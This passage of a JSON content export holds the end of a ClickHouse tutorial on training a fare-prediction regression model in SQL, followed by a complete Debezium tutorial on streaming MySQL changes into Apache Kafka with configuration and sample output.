\n    cast(fare_amount/10 as int)*10,\n    count(*) \nfrom taxi_trips_train\ngroup by \n    cast(fare_amount/10 as int)*10\norder by 1\n```\n\nNotice that there are a lot of trips with negative `fare_amount` as well as amounts greater than 500$. This is probably mistakes in the data collection and outliers we might want to take into account when creating the model.\n\nLet's create a new model that:\n\n* Excludes the outliers identified above with cost greater than 500$\n* Predicts the absolute value of `fare_amount` avoiding the negative numbers\n* Includes, as additional parameters: \n    * The pickup hour \n    * The pickup day of the week\n    * The time from pickup to dropoff in buckets of `10` minutes \n\nFirst, drop the existing `taxi_trips_model_enhanced` table:\n\n```sql\ndrop table taxi_trips_model_enhanced;\n```\n\nThen re-create it with our new model:\n\n```sql\n\nCREATE TABLE taxi_trips_model_enhanced ENGINE = Memory AS \nSELECT\n    stochasticLinearRegressionState(0.001, 0.1, 15, 'Adam')(\n        abs(fare_amount),\n        toDayOfWeek(tpep_pickup_datetime),\n        toHour(tpep_pickup_datetime),\n        age('minute', tpep_pickup_datetime, tpep_dropoff_datetime)/10,\n        passenger_count,\n        trip_distance,\n        RatecodeID,\n        PULocationID,\n        DOLocationID\n        )\nAS state FROM taxi_trips_train\nWHERE fare_amount \u003c= 500;\n```\n\nThe pickup hour and day of the week are added to the new `taxi_trips_model_enhanced` model by the `toDayOfWeek(tpep_pickup_datetime)` and `toHour(tpep_pickup_datetime)` columns. The calculation `age('minute', tpep_pickup_datetime, tpep_dropoff_datetime)/10` provides the time in minutes between pickup and dropoff in buckets of `10` minutes.  \n\nWe can test the new model with:\n\n```sql\nWITH (SELECT state FROM taxi_trips_model_enhanced) AS model,\npred as (SELECT \n    rowNumberInAllBlocks() rownum,\n    fare_amount,\n    evalMLMethod(\n        model,\n        toDayOfWeek(tpep_pickup_datetime),\n        toHour(tpep_pickup_datetime),\n        age('minute', tpep_pickup_datetime, tpep_dropoff_datetime)/10,\n        passenger_count,\n        trip_distance,\n        RatecodeID,\n        PULocationID,\n        DOLocationID\n    ) prediction\nFROM taxi_trips_test)\nSELECT\n    avg(abs(abs(fare_amount) - prediction)) AS MAE,\n    avg(abs(fare_amount)) AS avg_fare_amount,\n    avg(abs(abs(fare_amount) - prediction))*100.0/avg(fare_amount) pct\nFROM pred WHERE abs(fare_amount) \u003c= 500;\n```\n\nThe result shows an improvement, compared to the previous model, of more than `1%`.\n\n```\n┌────────────────MAE─┬────avg_fare_amount─┬────────────────pct─┐\n│ 1.8768253472744798 │ 12.658898150895748 │ 14.854519179740457 │\n└────────────────────┴────────────────────┴────────────────────┘\n```\n\n\nYou can build in further improvements to the model parameters to raise its precision. This tutorial demonstrates how, with just SQL statements, you can train and test a stochastic linear regression model all within ClickHouse.\n\n## Conclusion\n\nAdding artificial intelligence in your application doesn't always require external tools. This removes the security barriers you set up in your database and exposing you to the risk of accidental data access or usage of stale data. Modern databases like ClickHouse exposes interesting functionality that allows you to implement model training and prediction directly where your data resides, enabling you to keep your data secure and performant.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-11T11:01:20.407Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"publishedAt":"2024-03-04T11:51:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Develop and leverage AI models in ClickHouse®","asset":{"_ref":"image-d41d3c92e2e3f55a3bb3660af7578f4b262e0447-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/clickhouse-training-scoring-ai-models"},"subtitle":"Learn how to train AI models and perform live scoring with a set of SQL statements and Aiven for ClickHouse®","tags":[{"_key":"15719c25c8b4","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"a8a1b9c42887","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"7a8b2b2d36ac","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"aff193db0b3e","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Develop and leverage AI models in ClickHouse®"}
{"__i18n_lang":"en","_createdAt":"2023-09-11T17:34:49Z","_id":"cedb6945-6c85-44e7-bdef-96f1acebcf76","_rev":"Q24z0UHVNOApM4mVCtarPv","_type":"devArticle","_updatedAt":"2024-12-03T12:15:31Z","body":"Change Data Capture (CDC) is the process of tracking the changes happening in one or more database table in a source system and propagating them to a target technology. The objective of this tutorial is to create a CDC flow from a source table in a [MySQL](https://aiven.io/docs/products/mysql) database to [Apache Kafka®](https://aiven.io/docs/products/kafka) via the Kafka Connect [Debezium Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql).\n\n::alert[This article describes the configuration for Debezium version 2.5 and later.]{title=\"Debezium 2.5\" type=\"info\"}\n\n## Change Data Capture from MySQL to Apache Kafka via Kafka Connect\n\nIn order to setup a change data capture process tracking the changes from a MySQL database to Apache Kafka, we can use [Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect), a framework which integrates Apache Kafka with external systems. \n\nThere are two types of Kafka Connect connectors we can use to set up a CDC process between MySQL and Apache Kafka:\n* The [JDBC Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-mysql), a query based approach which periodically pulls the latest changes from MySQL into Kafka.\n* The [Debezium Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql), which reads from a MySQL binary log (binlog) and streams the changes to Apache Kafka.\n\nWhile both connectors can move MySQL data into Apache Kafka, the Debezium connector tracks the changes in streaming mode (not in a query based batch mode). This allows us to enhance the extracted data with useful metadata like transaction, IDs and timestamps, and pre-post update details.\n\nThe following tutorial guides you through setting up a CDC process using the Debezium connector.\n\n## Environment setup\n\nThe first step into setting up a CDC process is to create the source MySQL database and the target Apache Kafka cluster with Kafka Connect enabled. We'll use [Aiven for MySQL](https://aiven.io/mysql) and [Aiven for Apache Kafka®](https://aiven.io/kafka) to do this. \n\n1. Create an [Aiven account](https://console.aiven.io/signup)\n2. Install the [Aiven Command Line Interface (CLI)](https://aiven.io/docs/tools/cli)\n3. Login into the Aiven CLI using:\n\n```bash\navn user login\n```\n\nCreate a Aiven for MySQL service named `demo-mysql-source`:\n\n```bash\navn service create demo-mysql-source    \\\n    --service-type mysql                \\\n    --plan free-1-5gb                   \\\n    --cloud aws-eu-west-1\n```\n\nCreate an Aiven for Apache Kafka service named `demo-kafka` with Kafka Connect and Schema Registry enabled:\n\n```bash\navn service create demo-kafka           \\\n    --service-type kafka                \\\n    --plan business-4                   \\\n    --cloud aws-eu-west-1               \\\n    -c kafka_connect=true               \\\n    -c schema_registry=true             \\\n    -c kafka.auto_create_topics_enable=true\n```\n\nWait for the services to start with:\n\n```bash\navn service wait demo-mysql-source\navn service wait demo-kafka\n```\n\n## Create and populate the MySQL table\n\nOnce the services are up and running, we can create the table in MySQL in which we'll track the changes. To create and populate the table:\n\nGet the Aiven for MySQL connection details:\n\n```bash\navn service get demo-mysql-source --format '{service_uri_params}'\n```\n\nUse the `mysql` command to connect to the database. Replace the placeholders for `\u003cMYSQL_USERNAME\u003e`, `\u003cMYSQL_PASSWORD\u003e`, `\u003cMYSQL_HOSTNAME\u003e`, `\u003cMYSQL_PORT\u003e` and `\u003cMYSQL_DATABASE_NAME\u003e` with the values taken from the command above. Alternatively, you can find the pre-filled `mysql` command from the **Quick Connect** button in the Aiven Console service overview.\n\n```bash\nmysql --user \u003cMYSQL_USERNAME\u003e           \\\n    --password=\u003cMYSQL_PASSWORD\u003e         \\\n    --host \u003cMYSQL_HOSTNAME\u003e             \\\n    --port \u003cMYSQL_PORT\u003e                 \\\n    \u003cMYSQL_DATABASE_NAME\u003e\n```\n\n::alert[You can install the `mysql` command line tool using the [MySQL installation guide](https://dev.mysql.com/doc/mysql-installation-excerpt/8.0/en/).]{title=\"Note\"}\n\nCreate a table called `users` with a numeric `id` column, a `username` string and populate with three rows for `Francesco`, `Ana`, and `Floor`\n\n```bash\ncreate table users (id serial primary key, username varchar(100));\ninsert into users (username) values ('Francesco'),('Ana'),('Floor');\n```\n\nVerify that the above commands are successful by checking the `users` table with:\n\n```bash\nselect * from users;\n```\n\nThe result should be similar to the below:\n\n```bash\n+----+-----------+\n| id | username  |\n+----+-----------+\n|  1 | Francesco |\n|  2 | Ana       |\n|  3 | Floor     |\n+----+-----------+\n```\n\n## Create a Kafka Connect Connector\n\nTo create the CDC pipeline, we need to define the settings of the Kafka Connect [Debezium Source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql). These settings contain:\n\n* The source MySQL connection parameters, which allow the connector to fetch the data\n* The target Apache Kafka connection parameters, which allow the connector to store the versioning of the table structure. This step is optional, but it might be useful to track DDL changes to be able to replicate changes to a target MySQL database. \n* The target Apache Kafka schema registry connection parameters, which allow the connector to define schemas and store the data in Apache Avro™ format.\n\n### Get the connection parameters\n\nAs done in the section above, we can use the `avn service get` command to retrieve the Aiven for MySQL parameters:\n\n```bash\navn service get demo-mysql-source --format '{service_uri_params}'\n``` \n\nWe can do the same to retrieve the Apache Kafka Schema Registry parameters needed for the schema integration. You can fetch the connection details with:\n\n```bash\navn service get demo-kafka --json | jq '.connection_info.schema_registry_uri'\n```\n\n::alert[Note: the above command uses [jq](https://jqlang.github.io/jq/) to parse the `avn` command output and retrieve the connection URI which will be in the format `https://\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e@\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e`. You'll need to parse the information to fill the Kafka Connect connector configuration file in the following section.]{title=\"Note\"}\n\nTo retrieve the Apache Kafka endpoint, which we'll use to track the DDL changes in a topic:\n\n```bash\navn service get demo-kafka --format '{service_uri}'\n```\n\n### Define the Debezium source connector configuration file\n\nIn a file named `mysql_source_deb_connector.json` add the following JSON configuration to define the Debezium connector configuration:\n\n```\n{\n    \"name\":\"\u003cCONNECTOR_NAME\u003e\",\n    \"connector.class\": \"io.debezium.connector.mysql.MySqlConnector\",\n    \"database.hostname\": \"\u003cMYSQL_HOST\u003e\",\n    \"database.port\": \"\u003cMYSQL_PORT\u003e\",\n    \"database.user\": \"\u003cMYSQL_USER\u003e\",\n    \"database.password\": \"\u003cMYSQL_PASSWORD\u003e\",\n    \"database.dbname\": \"\u003cMYSQL_DATABASE_NAME\u003e\",\n    \"database.ssl.mode\": \"\u003cMYSQL_SSL_MODE\u003e\",\n    \"database.server.id\": \"\u003cUNIQUE_ID\u003e\",\n    \"topic.prefix\": \"\u003cKAFKA_TOPIC_PREFIX\u003e\",\n    \"table.include.list\": \"\u003cMYSQL_TABLES\u003e\",\n    \"tasks.max\":\"\u003cNR_TASKS\u003e\",\n    \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"key.converter.schema.registry.url\": \"https://\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"key.converter.schema.registry.basic.auth.user.info\": \"\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n    \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n    \"value.converter.schema.registry.url\": \"https://\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e\",\n    \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n    \"value.converter.schema.registry.basic.auth.user.info\": \"\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e\",\n    \"schema.history.internal.kafka.topic\": \"\u003cHISTORY_TOPIC_NAME\u003e\",\n    \"schema.history.internal.kafka.bootstrap.servers\": \"\u003cAPACHE_KAFKA_HOST\u003e:\u003cAPACHE_KAFKA_PORT\u003e\",\n    \"schema.history.internal.producer.security.protocol\": \"SSL\",\n    \"schema.history.internal.producer.ssl.keystore.type\": \"PKCS12\",\n    \"schema.history.internal.producer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n    \"schema.history.internal.producer.ssl.keystore.password\": \"password\",\n    \"schema.history.internal.producer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n    \"schema.history.internal.producer.ssl.truststore.password\": \"password\",\n    \"schema.history.internal.producer.ssl.key.password\": \"password\",\n    \"schema.history.internal.consumer.security.protocol\": \"SSL\",\n    \"schema.history.internal.consumer.ssl.keystore.type\": \"PKCS12\",\n    \"schema.history.internal.consumer.ssl.keystore.location\": \"/run/aiven/keys/public.keystore.p12\",\n    \"schema.history.internal.consumer.ssl.keystore.password\": \"password\",\n    \"schema.history.internal.consumer.ssl.truststore.location\": \"/run/aiven/keys/public.truststore.jks\",\n    \"schema.history.internal.consumer.ssl.truststore.password\": \"password\",\n    \"schema.history.internal.consumer.ssl.key.password\": \"password\",\n    \"include.schema.changes\": \"true\"\n}\n```\n\nWe need to replace the following values:\n\n* `\u003cCONNECTOR_NAME\u003e` is the name we're giving this connector. For this tutorial, set it to `mysql_source_deb_connector`.\n* The MySQL connection details from the previous section: `\u003cMYSQL_USERNAME\u003e`, `\u003cMYSQL_PASSWORD\u003e`, `\u003cMYSQL_HOSTNAME\u003e`, `\u003cMYSQL_PORT\u003e` and `\u003cMYSQL_DATABASE_NAME\u003e` and `\u003cMYSQL_SSL_MODE\u003e`\n* `\u003cUNIQUE_ID\u003e`  a number, which must be different for each connector running. For this tutorial, set it to `12345`.\n* `\u003cKAFKA_TOPIC_PREFIX\u003e` will be used as a prefix for all the Kafka topics that this connector sends events to. For this tutorial, set it to `example`.\n* `\u003cMYSQ_TABLES\u003e` is the list of MySQL tables to capture changes from. This parameter is optional. The default is the empty string, which means capture all tables.  For this tutorial, set it to `defaultdb.users`, the one table we have. (Note that there's also a parameter called `table.exclude.list` for the opposite effect.)\n* `\u003cNR_TASKS\u003e` should be set to 1, since the MySQL connector always uses a single task. This is actually the default value, so the `tasks.max` parameter can also be omitted.\n* `\u003cHISTORY_TOPIC_NAME\u003e` is the name of the Apache Kafka topic that contains the history of schema changes. For this tutorial, set it to `ddl_history`.\n* The Apache Kafka schema registry details from the previous section: `\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e` and `\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e`\n* The Apache Kafka details from the previous section: `\u003cAPACHE_KAFKA_HOST\u003e:\u003cAPACHE_KAFKA_PORT\u003e`\n\nSee the [Debezium MySQL connector documentation](https://debezium.io/documentation/reference/3.0/connectors/mysql.html) for more infomation.\n\n### Start the Debezium source connector\n\nOnce the parameters are substituted, we can start the Debezium source connector with:\n\n```bash\navn service connector create demo-kafka @mysql_source_deb_connector.json\n```\n\nSince we set the `name` parameter to `mysql_source_deb_connector`, the above starts a connector with that name.\n\n\nWe can check its status with:\n\n```bash\navn service connector status demo-kafka mysql_source_deb_connector\n```\n\nThe status should be `RUNNING`.\n\n```json\n{\n    \"status\": {\n        \"state\": \"RUNNING\",\n        \"tasks\": [\n            {\n                \"id\": 0,\n                \"state\": \"RUNNING\",\n                \"trace\": \"\"\n            }\n        ]\n    }\n}\n```\n\n### Check the data in Apache Kafka with kcat\n\nIf the connector is up and running, we can check that the data is flowing from MySQL to Apache Kafka with [kcat](https://aiven.io/docs/products/kafka/howto/kcat). Get the kcat parameters and download the certificates needed to connect with:\n\n```bash\navn service connection-info kcat demo-kafka -u avnadmin -W\n```\n\nThe above command will store the three certificates (`ca.pem`, `service.crt` and `service.key`) in the current local folder and return the command to execute. \n\nTo verify the data in Apache Kafka we can use the following command, substituting the placeholders for `\u003cKAFKA_HOST\u003e`, `\u003cKAFKA_PORT\u003e`, `\u003cKAFKA_SCHEMA_REGISTRY_USR\u003e`, `\u003cKAFKA_SCHEMA_REGISTRY_PWD\u003e`, `\u003cKAFKA_HOST\u003e`, and `\u003cKAFKA_SCHEMA_REGISTRY_PORT\u003e`. \n\n```curl\nkcat -b \u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e               \\\n    -X security.protocol=SSL                    \\\n    -X ssl.ca.location=ca.pem                   \\\n    -X ssl.key.location=service.key             \\\n    -X ssl.certificate.location=service.crt     \\\n    -C -t example.defaultdb.users              \\\n    -s avro                                     \\\n    -r https://\u003cKAFKA_SCHEMA_REGISTRY_USR\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PORT\u003e\n```\n\n::alert[Note: the above command is consuming (`-C` flag) from the topic `example.defaultdb.users` (`-t` flag) in Apache Avro format (`-s` flag). The topic name is determined by the concatenation of the connector parameter `topic.prefix` (`example`) and the table name (`defaultdb.users`).]{title=\"Note\"}\n\nAfter executing the `kcat` command, the data in Apache Kafka should be similar to the following:\n\n```json\n{\"id\": 1}{\"before\": null, \"after\": {\"Value\": {\"id\": 1, \"username\": {\"string\": \"Francesco\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275000, \"snapshot\": {\"string\": \"first\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733226275527}, \"transaction\": null}\n{\"id\": 2}{\"before\": null, \"after\": {\"Value\": {\"id\": 2, \"username\": {\"string\": \"Ana\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275000, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733226275530}, \"transaction\": null}\n{\"id\": 3}{\"before\": null, \"after\": {\"Value\": {\"id\": 3, \"username\": {\"string\": \"Floor\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275000, \"snapshot\": {\"string\": \"last\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733226275531}, \"transaction\": null}\n% Reached end of topic example.defaultdb.users [0] at offset 3\n```\n\nNot only do we get the three values stored in the `users` table, but we also get additional useful metadata like when the insert/update/deletion happened (in the `ts_ms` parameter) and the position in the binlog file.\n\nIf we now add a new value in MySQL `users` table with:\n\n```sql\ninsert into users(username) values ('Carlo');\n```\n\nWe should see it immediately pop up in the Apache Kafka topic:\n\n```json\n{\"id\": 4}{\"before\": null, \"after\": {\"Value\": {\"id\": 4, \"username\": {\"string\": \"Carlo\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226538000, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 710603388, \"gtid\": {\"string\": \"3f6f07d7-b0a4-11ef-9d29-0adcce978e09:39\"}, \"file\": \"binlog.000290\", \"pos\": 420, \"row\": 0, \"thread\": {\"long\": 20671}, \"query\": null}, \"op\": \"c\", \"ts_ms\": {\"long\": 1733226538394}, \"transaction\": null}\n% Reached end of topic example.defaultdb.users [0] at offset 4\n```\n\nIf we now remove the row containing `Carlo` with:\n\n```sql\ndelete from users where username='Carlo';\n```\n\nWe see the corresponding delete (`\"op\": \"d\"`) in Apache Kafka:\n\n```json\n{\"id\": 4}{\"before\": {\"Value\": {\"id\": 4, \"username\": {\"string\": \"Carlo\"}}}, \"after\": null, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226572000, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 710603388, \"gtid\": {\"string\": \"3f6f07d7-b0a4-11ef-9d29-0adcce978e09:40\"}, \"file\": \"binlog.000290\", \"pos\": 725, \"row\": 0, \"thread\": {\"long\": 20671}, \"query\": null}, \"op\": \"d\", \"ts_ms\": {\"long\": 1733226572691}, \"transaction\": null}\n{\"id\": 4}\n% Reached end of topic example.defaultdb.users [0] at offset 6\n```\n\n## Altering the schema\n\n\nWhere is the MySQL schema stored? There are two topics:\n* one called `ddl_history` (named by the `database.history.kafka.topic` parameter) which stores the schema for Debezium's inner workings so that Debezium [can resume work if it crashes](https://debezium.io/documentation/reference/stable/connectors/mysql.html#mysql-schema-history-topi)\n* the other called `example` (based on the `topic.prefix` parameter) where the connector stores all the DDLs needed to replicate the state in another MySQL database.\n\nWe can fetch the latter topic with kcat:\n\n```bash\nkcat -b \u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e               \\\n    -X security.protocol=SSL                    \\\n    -X ssl.ca.location=ca.pem                   \\\n    -X ssl.key.location=service.key             \\\n    -X ssl.certificate.location=service.crt     \\\n    -C -t example                               \\\n    -s avro                                     \\\n    -r https://\u003cKAFKA_SCHEMA_REGISTRY_USR\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PORT\u003e  \n```\n\nWe get the full list of DDLs needed to replicate the state into a new MySQL database.\n\n\n```json\n{\"databaseName\": \"\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226274272, \"snapshot\": {\"string\": \"true\"}, \"db\": \"\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275042, \"databaseName\": {\"string\": \"\"}, \"schemaName\": null, \"ddl\": {\"string\": \"SET character_set_server=utf8mb4, collation_server=utf8mb4_0900_ai_ci\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275044, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275086, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"DROP TABLE IF EXISTS `defaultdb`.`users`\"}, \"tableChanges\": [{\"type\": \"DROP\", \"id\": \"\\\"defaultdb\\\".\\\"users\\\"\", \"table\": null}]}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275092, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275098, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"DROP DATABASE IF EXISTS `defaultdb`\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275098, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275107, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"CREATE DATABASE `defaultdb` CHARSET utf8mb4 COLLATE utf8mb4_0900_ai_ci\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275107, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275109, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"USE `defaultdb`\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275124, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275197, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"CREATE TABLE \\\"users\\\" (\\n  \\\"id\\\" bigint unsigned NOT NULL AUTO_INCREMENT,\\n  \\\"username\\\" varchar(100) DEFAULT NULL,\\n  PRIMARY KEY (\\\"id\\\"),\\n  UNIQUE KEY \\\"id\\\" (\\\"id\\\")\\n)\"}, \"tableChanges\": [{\"type\": \"CREATE\", \"id\": \"\\\"defaultdb\\\".\\\"users\\\"\", \"table\": {\"Table\": {\"defaultCharsetName\": {\"string\": \"utf8mb4\"}, \"primaryKeyColumnNames\": {\"array\": [\"id\"]}, \"columns\": [{\"name\": \"id\", \"jdbcType\": -5, \"nativeType\": null, \"typeName\": \"BIGINT UNSIGNED\", \"typeExpression\": {\"string\": \"BIGINT UNSIGNED\"}, \"charsetName\": null, \"length\": null, \"scale\": null, \"position\": 1, \"optional\": {\"boolean\": false}, \"autoIncremented\": {\"boolean\": true}, \"generated\": {\"boolean\": true}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}, {\"name\": \"username\", \"jdbcType\": 12, \"nativeType\": null, \"typeName\": \"VARCHAR\", \"typeExpression\": {\"string\": \"VARCHAR\"}, \"charsetName\": {\"string\": \"utf8mb4\"}, \"length\": {\"int\": 100}, \"scale\": null, \"position\": 2, \"optional\": {\"boolean\": true}, \"autoIncremented\": {\"boolean\": false}, \"generated\": {\"boolean\": false}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}], \"comment\": null}}}]}\n% Reached end of topic example [0] at offset 6\n```\n\n::alert[The response also contains database truncation statements which might delete other tables present in the same target database.]{title=\"Warning\"}\n\nIf we now add a column to the source MySQL database with:\n\n```sql\nalter table users add column country varchar(3);\n```\n\nWe get a new entry in the `example` topic defining the DDL change we just implemented:\n\n```json\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226759134, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 710603388, \"gtid\": {\"string\": \"3f6f07d7-b0a4-11ef-9d29-0adcce978e09:41\"}, \"file\": \"binlog.000291\", \"pos\": 274, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226759153, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"alter table users add column country varchar(3)\"}, \"tableChanges\": [{\"type\": \"ALTER\", \"id\": \"\\\"defaultdb\\\".\\\"users\\\"\", \"table\": {\"Table\": {\"defaultCharsetName\": {\"string\": \"utf8mb4\"}, \"primaryKeyColumnNames\": {\"array\": [\"id\"]}, \"columns\": [{\"name\": \"id\", \"jdbcType\": -5, \"nativeType\": null, \"typeName\": \"BIGINT UNSIGNED\", \"typeExpression\": {\"string\": \"BIGINT UNSIGNED\"}, \"charsetName\": null, \"length\": null, \"scale\": null, \"position\": 1, \"optional\": {\"boolean\": false}, \"autoIncremented\": {\"boolean\": true}, \"generated\": {\"boolean\": true}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}, {\"name\": \"username\", \"jdbcType\": 12, \"nativeType\": null, \"typeName\": \"VARCHAR\", \"typeExpression\": {\"string\": \"VARCHAR\"}, \"charsetName\": {\"string\": \"utf8mb4\"}, \"length\": {\"int\": 100}, \"scale\": null, \"position\": 2, \"optional\": {\"boolean\": true}, \"autoIncremented\": {\"boolean\": false}, \"generated\": {\"boolean\": false}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}, {\"name\": \"country\", \"jdbcType\": 12, \"nativeType\": null, \"typeName\": \"VARCHAR\", \"typeExpression\": {\"string\": \"VARCHAR\"}, \"charsetName\": {\"string\": \"utf8mb4\"}, \"length\": {\"int\": 3}, \"scale\": null, \"position\": 3, \"optional\": {\"boolean\": true}, \"autoIncremented\": {\"boolean\": false}, \"generated\": {\"boolean\": false}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}], \"comment\": null}}}]}\n% Reached end of topic example [0] at offset 7\n```\n\n## 